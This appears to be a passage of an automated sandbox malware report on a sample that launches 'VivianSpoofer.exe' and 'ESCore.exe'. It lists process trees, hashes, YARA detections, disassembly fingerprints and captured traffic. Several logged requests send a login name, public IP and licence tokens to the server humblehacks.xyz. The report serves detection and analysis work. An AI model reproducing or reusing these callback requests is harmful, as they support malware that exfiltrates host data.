2024-12-29 07:55:50 UTC	8000	IN	Data Raw: 09 01 00 04 2a 49 f5 44 51 6e bc 97 a6 c7 ed 8e 5f ff 5a 48 00 1e 02 7b 0a 01 00 04 2a 22 02 03 7d 0a 01 00 04 2a 00 00 00 72 45 46 88 e3 a0 6d ad e6 82 45 e4 44 a1 84 9c ff 02 e2 3a 39 56 20 0e 52 8a 49 86 51 9a 38 a2 85 a6 5a a8 6c 47 b5 19 d3 23 29 e3 3f bf f6 d8 8c 95 7f 5f d4 67 4e 6a 92 d2 57 a8 07 26 81 fb dd 75 62 2c 0b ea 4a de f8 5c 84 c0 e3 23 d8 07 82 2b 54 1c e9 47 4d 91 ae c7 a0 5a 4b 4c 3d 3a c3 db e7 7b 89 31 35 e2 9d 56 dd e2 f8 75 31 10 2a eb ea d7 42 9e 25 6d ee 90 ab 05 e3 b4 75 47 7f 00 70 fd ad c3 7d 0f 0a 39 bc b1 46 5c 0a db cc fe c8 f9 a5 15 df e5 99 56 00 12 98 05 31 0a 59 0b 85 1a 41 49 2a 4b 86 2c a9 95 94 81 6a 50 b0 8b 77 eb db 53 81 e0 f9 40 28 e7 32 e7 77 6b 99 24 ae 3a 0b 6a 45 80 5a 57 2d f6 ab 8c 59 57 1d bb 7d 14 ac 01 Data Ascii: IDQn_ZH{"}rEFmED:9V RIQ8ZlG#)?_gNjW&ub,J\#+TGMZKL=:{15Vu1B%muGp}9F\V1YAI*K,jPwS@(2wk$:jEZW-YW}
2024-12-29 07:55:50 UTC	8000	IN	Data Raw: 96 40 71 c1 d7 7a 11 3d 92 f6 d6 81 4c 73 93 e5 8b b7 0b f3 43 2f 05 25 91 d6 9e ef ab 57 e3 00 18 76 9f c6 1c ac 72 30 77 11 23 b7 4f 80 37 9f 6a f5 c3 7a a0 39 7e ef 90 c2 1a b9 93 d4 d5 f2 ee ed 4b 92 4c 60 8e 33 6b 40 78 00 00 01 04 00 00 1e 02 7b 4d 01 00 04 2a 17 15 7f 40 6b 52 57 4c cd dc e9 46 0d d3 25 72 30 b2 e9 3f bb 82 6d 1c 2e 4d de 8c ce d6 49 7d a7 87 bb d6 d2 ab a7 4f f4 dd 87 85 07 c0 c6 4e 5d f1 de 49 e1 3a be ba a1 09 6e 95 89 20 f5 d9 71 8d 7b 1f 5b dd ab 73 f5 8d 5b 62 66 c1 6f 54 46 38 fa 1d ee 80 a7 ce f3 66 58 d1 ed b1 0c 35 7d 10 06 46 8e 50 2c 61 da d2 ad 06 b0 3d e6 2f f5 70 87 e0 6a bb f1 00 2c 4e e3 67 81 f1 56 38 d1 f6 a5 71 f3 6c f1 c0 ab 96 00 00 c4 99 70 9c f4 85 72 7f cb bd db 52 64 f7 55 a8 36 02 7b 4c 01 00 04 03 6f b6 Data Ascii: @qz=LsC/%Wvr0w#O7jz9~KL`3k@x{M*@kRWLF%r0?m.MI}ON]I:n q{[s[bfoTF8fX5}FP,a=/pj,NgV8qlprRdU6{Lo
2024-12-29 07:55:50 UTC	8000	IN	Data Raw: 62 c1 f6 0c 96 c9 2c be c9 92 ea 79 f3 44 86 d2 a4 3c b6 34 eb 62 98 d5 76 b7 f5 e8 fa 2e c6 15 d6 bd f7 26 f3 b3 6c 03 ee 4c 42 e0 79 83 57 b5 fe 27 0c ee 86 31 49 64 da 55 c2 8d e7 d7 79 ef 67 a0 84 db be 91 11 57 22 17 a7 5c ff 00 af 42 9a 8d 00 00 00 01 04 00 00 32 78 f4 c8 e4 78 f1 17 62 fa b9 12 b8 68 5f 92 26 93 c1 0a 24 a4 af 1b a3 55 4f 62 96 61 bf 95 b1 38 fd ce 70 f8 04 26 5c 99 38 86 8a 67 04 ba 64 b6 c2 c7 ab d1 db 7f bd 33 2f 52 14 fa b7 67 10 98 68 ec f6 cc 5b aa 38 d1 2c dc f7 d5 a0 41 c6 ac 8a 70 b1 c6 ef 6c 7e 5e 68 78 32 f5 c8 2c d7 ff ff c9 7d dc 3e ca 7f 09 00 00 01 04 00 00 5c bb 07 98 79 4e d4 dd e1 ac 3b 6b 32 09 6c 3f c2 7b f7 3a 3b 0c 8f d5 88 0e 0d 10 f5 ae b8 ab 91 cc c3 99 d7 0a 17 b2 8e 23 53 a8 ee 7f 11 3c 04 04 6c b1 58 2e Data Ascii: b,yD<4bv.&lLByW'1IdUygW"\B2xxbh_&$UOba8p&\8gd3/Rgh[8,Apl~^hx2,}>\yN;k2l?{:;#S<lX.
2024-12-29 07:55:50 UTC	8000	IN	Data Raw: 7c 82 10 fb 2a b8 eb 31 73 60 ad fa 27 57 ce c0 99 f5 5a 30 52 ed 44 3d 07 74 fc 68 c9 a6 43 3f 7c 25 3f 24 8a 03 ca 50 d9 01 04 00 00 e2 10 18 fa 59 59 6e a3 9a 23 aa 5f 52 74 8b 84 d1 6e 78 65 6b 24 0c ca 1e ac d2 9d 75 76 4d e6 ab db 3c fa 14 f9 1b ee b9 bf ed 52 42 44 39 1c 1a 5d 53 e3 cd 6e dc 4e b5 80 8c cb d5 94 2f 84 05 37 ee 8f 50 57 d0 64 9a 55 81 95 85 5b 51 b9 96 f0 7f a9 94 ca b8 f0 31 e3 db 7c ed cf ff 9a 36 4c b7 21 d4 1b 95 ec 84 0e ec 8e e3 63 da 42 8e 50 86 21 88 df a7 98 dc fc 46 18 83 cc c4 0f 87 41 1e 18 69 ec 70 6e c1 12 b8 a7 24 01 dd 9f 4a a4 f0 b2 70 56 b1 2e fc f4 55 07 60 36 86 cd 40 3f ac dc d7 72 6b d3 97 88 6c 47 0f df 61 b8 12 15 43 c3 16 d6 de 9a da f2 90 b2 4c b3 4e bb a9 6d e7 d5 e6 56 8d 01 4f 98 91 d5 6e a5 6e 75 2e cb Data Ascii: \|*1s`'WZ0RD=thC?\|%?$PYYn#_Rtnxek$uvM<RBD9]SnN/7PWdU[Q1\|6L!cBP!FAipn$JpV.U`6@?rklGaCLNmVOnnu.
2024-12-29 07:55:50 UTC	8000	IN	Data Raw: 2e bf 0a 44 a0 8c d8 73 27 bf 03 44 5e 8d d1 9d f4 46 22 ae 26 bf 03 46 24 8c d1 72 2e 9d 0a 44 9e af d8 51 27 9d 03 44 5e af d1 b4 f5 44 36 87 27 d1 9e ca 0b e5 ac 46 60 27 81 d0 7e 39 5a 46 a8 69 53 46 06 5b 81 a4 7e 68 5a 46 60 5a 88 41 ac 46 08 83 81 85 81 40 a5 46 60 0e 94 ab 39 65 5f 54 ee 79 99 a7 a9 c8 8a e1 d3 5b be c4 99 36 91 f6 4b cc 6e 3a cf fe bc 03 43 cc 67 38 e5 d7 6e 38 15 e5 bc 1a 43 80 67 38 89 b2 b5 4d 4a 81 6e 38 e3 4c 97 66 3a 4d 5b 7e 6e 3a b1 b2 83 67 38 df b1 b5 a0 90 3a 99 6c 5d 99 38 df 6f 4b 74 6f 38 8d b6 42 c4 66 38 49 f7 b4 a7 90 38 1b 60 9e da c1 68 b1 7f 94 91 68 4c 46 5d 63 91 72 9f 4e 49 51 81 df a0 88 7c af 8c af 45 a6 82 e9 77 74 8e 53 8c f5 9f 3b 87 1e f1 4c 94 98 33 61 c4 9e 2d ba 96 32 d0 f0 b2 94 7a c3 60 0b 44 96 Data Ascii: .Ds'D^F"&F$r.DQ'D^D6'F`'~9ZFiSF[~hZF`ZAF@F`9e_Ty[6Kn:Cg8n8Cg8MJn8Lf:M[~n:g8:l]8oKto8Bf8I8`hhLF]crNIQ\|EwtS;L3a-2z`D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49825	92.205.3.41	443	1432	C:\Users\user\Desktop\VivianSpoofer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:56:41 UTC	87	OUT	GET /patch/Vivian/patch.txt HTTP/1.1 Host: humblehacks.xyz Connection: Keep-Alive
2024-12-29 07:56:41 UTC	286	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:56:41 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 23 Dec 2024 13:16:08 GMT ETag: "7781b37-7-629efccb9555e" Accept-Ranges: bytes Content-Length: 7 Vary: Accept-Encoding Content-Type: text/plain
2024-12-29 07:56:41 UTC	7	IN	Data Raw: 31 2e 34 2e 35 2e 30 Data Ascii: 1.4.5.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49831	92.205.3.41	443	1432	C:\Users\user\Desktop\VivianSpoofer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:56:43 UTC	76	OUT	GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1 Host: humblehacks.xyz
2024-12-29 07:56:44 UTC	234	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:56:43 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-29 07:56:44 UTC	3247	IN	Data Raw: 63 34 30 0d 0a 1c 15 0c 1d 72 6e 61 36 39 3c 20 36 35 74 12 0c 13 00 04 78 68 74 00 3b 26 3d 37 3d 72 1d 11 78 68 74 70 69 61 7a 70 60 60 7a 70 6c 60 7a 70 6e 6b 74 11 0a 1d 10 14 1b 06 07 61 62 72 13 0d 17 63 64 61 62 72 66 71 6a 67 65 73 69 6a 74 15 17 19 11 0f 0b 72 6e 61 1f 1e 1b 70 68 06 74 7b 78 63 65 79 69 65 10 6c 60 17 65 03 1c 16 79 00 6a 62 13 0d 17 63 64 61 0b 07 07 1e 1c 07 06 61 62 72 1a 6e 19 72 1c 13 1d 01 11 15 0b 72 6e 61 16 7d 15 4c 52 1c 15 0c 1d 72 6e 61 20 2a 2c 39 78 01 00 00 0c 17 74 7b 78 13 37 35 31 24 31 61 11 02 74 7b 78 63 64 78 76 63 6d 77 76 63 60 75 76 63 66 70 78 02 06 0e 1c 07 17 15 0b 72 6e 61 1f 1e 1b 70 68 72 6e 61 6a 62 66 75 69 60 66 76 78 06 1b 0a 1d 1c 07 61 62 72 13 0d 17 63 64 15 78 68 74 07 1e 16 64 07 6f 7f 17 Data Ascii: c40rna69< 65txht;&=7=rxhtpiazp``zpl`zpnktabrcdabrfqjgesijtrnapht{xceyiel`eyjbcdaabrnrrna}LRrna *,9xt{x751$1at{xcdxvcmwvc`uvcfpxrnaphrnajbfui`fvxabrcdxhtdo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49837	92.205.3.41	443	1432	C:\Users\user\Desktop\VivianSpoofer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:56:45 UTC	56	OUT	GET /Aut.php?auth=10 HTTP/1.1 Host: humblehacks.xyz
2024-12-29 07:56:45 UTC	225	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:56:45 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 8 Content-Type: text/html; charset=UTF-8
2024-12-29 07:56:45 UTC	8	IN	Data Raw: 60 64 73 6c 63 66 73 61 Data Ascii: `dslcfsa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49858	92.205.3.41	443	1156	C:\Windows\System32\ESCore.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:56:55 UTC	81	OUT	GET /Aut.php?auth=11 HTTP/1.1 User-Agent: Mozilla/5.0 Host: humblehacks.xyz
2024-12-29 07:56:55 UTC	226	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:56:55 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 12 Content-Type: text/html; charset=UTF-8
2024-12-29 07:56:55 UTC	12	IN	Data Raw: 6a 7a 75 6e 7c 65 73 6b 7c 65 79 61 Data Ascii: jzun\|esk\|eya

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49864	92.205.3.41	443	1156	C:\Windows\System32\ESCore.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:56:57 UTC	81	OUT	GET /Aut.php?auth=10 HTTP/1.1 User-Agent: Mozilla/5.0 Host: humblehacks.xyz
2024-12-29 07:56:57 UTC	225	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:56:57 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 8 Content-Type: text/html; charset=UTF-8
2024-12-29 07:56:57 UTC	8	IN	Data Raw: 60 64 73 6c 63 66 73 61 Data Ascii: `dslcfsa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49870	92.205.3.41	443	1156	C:\Windows\System32\ESCore.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:56:59 UTC	101	OUT	GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1 User-Agent: Mozilla/5.0 Host: humblehacks.xyz
2024-12-29 07:56:59 UTC	234	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:56:59 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-29 07:56:59 UTC	3247	IN	Data Raw: 63 34 30 0d 0a 1c 15 0c 1d 72 6e 61 36 39 3c 20 36 35 74 12 0c 13 00 04 78 68 74 00 3b 26 3d 37 3d 72 1d 11 78 68 74 70 69 61 7a 70 60 60 7a 70 6c 60 7a 70 6e 6b 74 11 0a 1d 10 14 1b 06 07 61 62 72 13 0d 17 63 64 61 62 72 66 71 6a 67 65 73 69 6a 74 15 17 19 11 0f 0b 72 6e 61 1f 1e 1b 70 68 06 74 7b 78 63 65 79 69 65 10 6c 60 17 65 03 1c 16 79 00 6a 62 13 0d 17 63 64 61 0b 07 07 1e 1c 07 06 61 62 72 1a 6e 19 72 1c 13 1d 01 11 15 0b 72 6e 61 16 7d 15 4c 52 1c 15 0c 1d 72 6e 61 20 2a 2c 39 78 01 00 00 0c 17 74 7b 78 13 37 35 31 24 31 61 11 02 74 7b 78 63 64 78 76 63 6d 77 76 63 60 75 76 63 66 70 78 02 06 0e 1c 07 17 15 0b 72 6e 61 1f 1e 1b 70 68 72 6e 61 6a 62 66 75 69 60 66 76 78 06 1b 0a 1d 1c 07 61 62 72 13 0d 17 63 64 15 78 68 74 07 1e 16 64 07 6f 7f 17 Data Ascii: c40rna69< 65txht;&=7=rxhtpiazp``zpl`zpnktabrcdabrfqjgesijtrnapht{xceyiel`eyjbcdaabrnrrna}LRrna *,9xt{x751$1at{xcdxvcmwvc`uvcfpxrnaphrnajbfui`fvxabrcdxhtdo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49876	92.205.3.41	443	1156	C:\Windows\System32\ESCore.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:57:01 UTC	578	OUT	GET /Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20ken%20:%2023%20GLO10%20:%2020251300%20TOKENS%20:%20kenT%20:%20Token%20GLO10T%20:%20962997-45B26E-A20GLO10SUS_DUR%20:%20N/AHRESETS%20:N/A&oldhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20GLO10%20:%2020251300%20TOKENS%20:%20GLO10T%20:%20962997-45B26E-A20GLO10%20SUS_DUR%20:%20N/A%20HRESETS%20:%20N/A&nd=Token%20:%20Token%20Period%20: HTTP/1.1 User-Agent: Mozilla/5.0 Host: humblehacks.xyz
2024-12-29 07:57:01 UTC	225	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:57:01 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 8 Content-Type: text/html; charset=UTF-8
2024-12-29 07:57:01 UTC	8	IN	Data Raw: 1f 3d 32 35 33 20 22 30 Data Ascii: =253 "0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49882	92.205.3.41	443	1432	C:\Users\user\Desktop\VivianSpoofer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:57:03 UTC	76	OUT	GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1 Host: humblehacks.xyz
2024-12-29 07:57:04 UTC	234	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:57:04 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-29 07:57:04 UTC	3247	IN	Data Raw: 63 34 30 0d 0a 1c 15 0c 1d 72 6e 61 36 39 3c 20 36 35 74 12 0c 13 00 04 78 68 74 00 3b 26 3d 37 3d 72 1d 11 78 68 74 70 69 61 7a 70 60 60 7a 70 6c 60 7a 70 6e 6b 74 11 0a 1d 10 14 1b 06 07 61 62 72 13 0d 17 63 64 61 62 72 66 71 6a 67 65 73 69 6a 74 15 17 19 11 0f 0b 72 6e 61 1f 1e 1b 70 68 06 74 7b 78 63 65 79 69 65 10 6c 60 17 65 03 1c 16 79 00 6a 62 13 0d 17 63 64 61 0b 07 07 1e 1c 07 06 61 62 72 1a 6e 19 72 1c 13 1d 01 11 15 0b 72 6e 61 16 7d 15 4c 52 1c 15 0c 1d 72 6e 61 20 2a 2c 39 78 01 00 00 0c 17 74 7b 78 13 37 35 31 24 31 61 11 02 74 7b 78 63 64 78 76 63 6d 77 76 63 60 75 76 63 66 70 78 02 06 0e 1c 07 17 15 0b 72 6e 61 1f 1e 1b 70 68 72 6e 61 6a 62 66 75 69 60 66 76 78 06 1b 0a 1d 1c 07 61 62 72 13 0d 17 63 64 15 78 68 74 07 1e 16 64 07 6f 7f 17 Data Ascii: c40rna69< 65txht;&=7=rxhtpiazp``zpl`zpnktabrcdabrfqjgesijtrnapht{xceyiel`eyjbcdaabrnrrna}LRrna *,9xt{x751$1at{xcdxvcmwvc`uvcfpxrnaphrnajbfui`fvxabrcdxhtdo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49888	92.205.3.41	443	1432	C:\Users\user\Desktop\VivianSpoofer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:57:05 UTC	80	OUT	GET /Aut.php?auth=10 HTTP/1.1 Host: humblehacks.xyz Connection: Keep-Alive
2024-12-29 07:57:06 UTC	225	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:57:06 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 8 Content-Type: text/html; charset=UTF-8
2024-12-29 07:57:06 UTC	8	IN	Data Raw: 60 64 73 6c 63 66 73 61 Data Ascii: `dslcfsa

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: aYu936prD4.exePID: 7356, Parent PID: 4056

General

Target ID:	0
Start time:	02:55:36
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\aYu936prD4.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\aYu936prD4.exe"
Imagebase:	0x21b13640000
File size:	22'372'864 bytes
MD5 hash:	610D0DB5D146F16CAAD2482B11C22D30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000000.00000000.1256147960.0000021B138DA000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000000.00000002.1770992477.0000021B31191000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000000.00000002.1748434158.0000021B26E6F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: ESCore.exePID: 7880, Parent PID: 7356

General

Target ID:	8
Start time:	02:55:40
Start date:	29/12/2024
Path:	C:\Windows\System32\ESCore.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\ESCore.exe chkdrv
Imagebase:	0x140000000
File size:	6'667'264 bytes
MD5 hash:	6A8261CF7AFD1FCFE67BF3FF0A77A328
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7888, Parent PID: 7880

General

Target ID:	9
Start time:	02:55:40
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6376, Parent PID: 7356

General

Target ID:	14
Start time:	04:38:12
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c Updater.bat
Imagebase:	0x7ff6f6950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6384, Parent PID: 6376

General

Target ID:	15
Start time:	04:38:12
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: timeout.exePID: 7284, Parent PID: 6376

General

Target ID:	16
Start time:	04:38:12
Start date:	29/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5
Imagebase:	0x7ff791f50000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: VivianSpoofer.exePID: 1432, Parent PID: 6376

General

Target ID:	17
Start time:	04:38:17
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\VivianSpoofer.exe
Wow64 process (32bit):	false
Commandline:	VivianSpoofer.exe
Imagebase:	0x279250a0000
File size:	21'683'472 bytes
MD5 hash:	48DE217B20FEEF7FBD491904885FADE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000011.00000002.2555361754.0000027942B51000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000011.00000000.1788327971.000002792533A000.00000002.00000001.01000000.00000010.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: ESCore.exePID: 1312, Parent PID: 1432

General

Target ID:	19
Start time:	04:38:25
Start date:	29/12/2024
Path:	C:\Windows\System32\ESCore.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\ESCore.exe chkdrv
Imagebase:	0x140000000
File size:	6'318'080 bytes
MD5 hash:	689211E5BDAC447C2F016BFBAD0B8CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7936, Parent PID: 1312

General

Target ID:	20
Start time:	04:38:25
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: ESCore.exePID: 1156, Parent PID: 1432

General

Target ID:	23
Start time:	04:38:32
Start date:	29/12/2024
Path:	C:\Windows\System32\ESCore.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\ESCore.exe reg Username Token
Imagebase:	0x140000000
File size:	6'318'080 bytes
MD5 hash:	689211E5BDAC447C2F016BFBAD0B8CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1180, Parent PID: 1156

General

Target ID:	24
Start time:	04:38:33
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: ESCore.exePID: 4260, Parent PID: 1432

General

Target ID:	26
Start time:	04:38:55
Start date:	29/12/2024
Path:	C:\Windows\System32\ESCore.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\ESCore.exe clr
Imagebase:	0x140000000
File size:	6'318'080 bytes
MD5 hash:	689211E5BDAC447C2F016BFBAD0B8CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2508, Parent PID: 4260

General

Target ID:	27
Start time:	04:38:55
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: aYu936prD4.exePID: 7356, Parent PID: 4056COMMON

Executed Functions

Function 00007FFAAC49C2E9 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

;t&L, xrefs: 00007FFAAC49C3AE

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: ;t&L
API String ID: 0-3911380655
Opcode ID: fa5a0d3579b63e28c1573d0a6c4ce18068d8fb6f704f7f43638191d61ecc57cc
Instruction ID: fc14bf807ccba98da9342776ae1416c210bc3dd37de75cc911da861cbbf9009d
Opcode Fuzzy Hash: fa5a0d3579b63e28c1573d0a6c4ce18068d8fb6f704f7f43638191d61ecc57cc
Instruction Fuzzy Hash: E9613432B5D1124BA70C8A2E586603972C7DBCA215B58D13EE48FC73C6ED39E8164689

Function 00007FFAAC494A1B Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

*,, xrefs: 00007FFAAC494A1F

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: *,
API String ID: 0-452976807
Opcode ID: b506c6d40c8ef98370472b2dbf6c871c2023589bab211a1809c5cd15be28c903
Instruction ID: 11a327b04f974cd1083174f8d25e65deff2e7badaf601857adc41fbaa87241e6
Opcode Fuzzy Hash: b506c6d40c8ef98370472b2dbf6c871c2023589bab211a1809c5cd15be28c903
Instruction Fuzzy Hash: 9631F2267B41110BA74CDD3E88E227972C7D7DA209318D23DE58BC37C6EC29EC5B4298

Function 00007FFAAC490DCD Relevance: .4, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd3246c71c97f293c57482f01e04728471e98635f7892a450efb234f6aa2b0e5
Instruction ID: a4a05e8ca9ada6f59ccafee86a41f991373097c3786505dd3467f583e397ab37
Opcode Fuzzy Hash: bd3246c71c97f293c57482f01e04728471e98635f7892a450efb234f6aa2b0e5
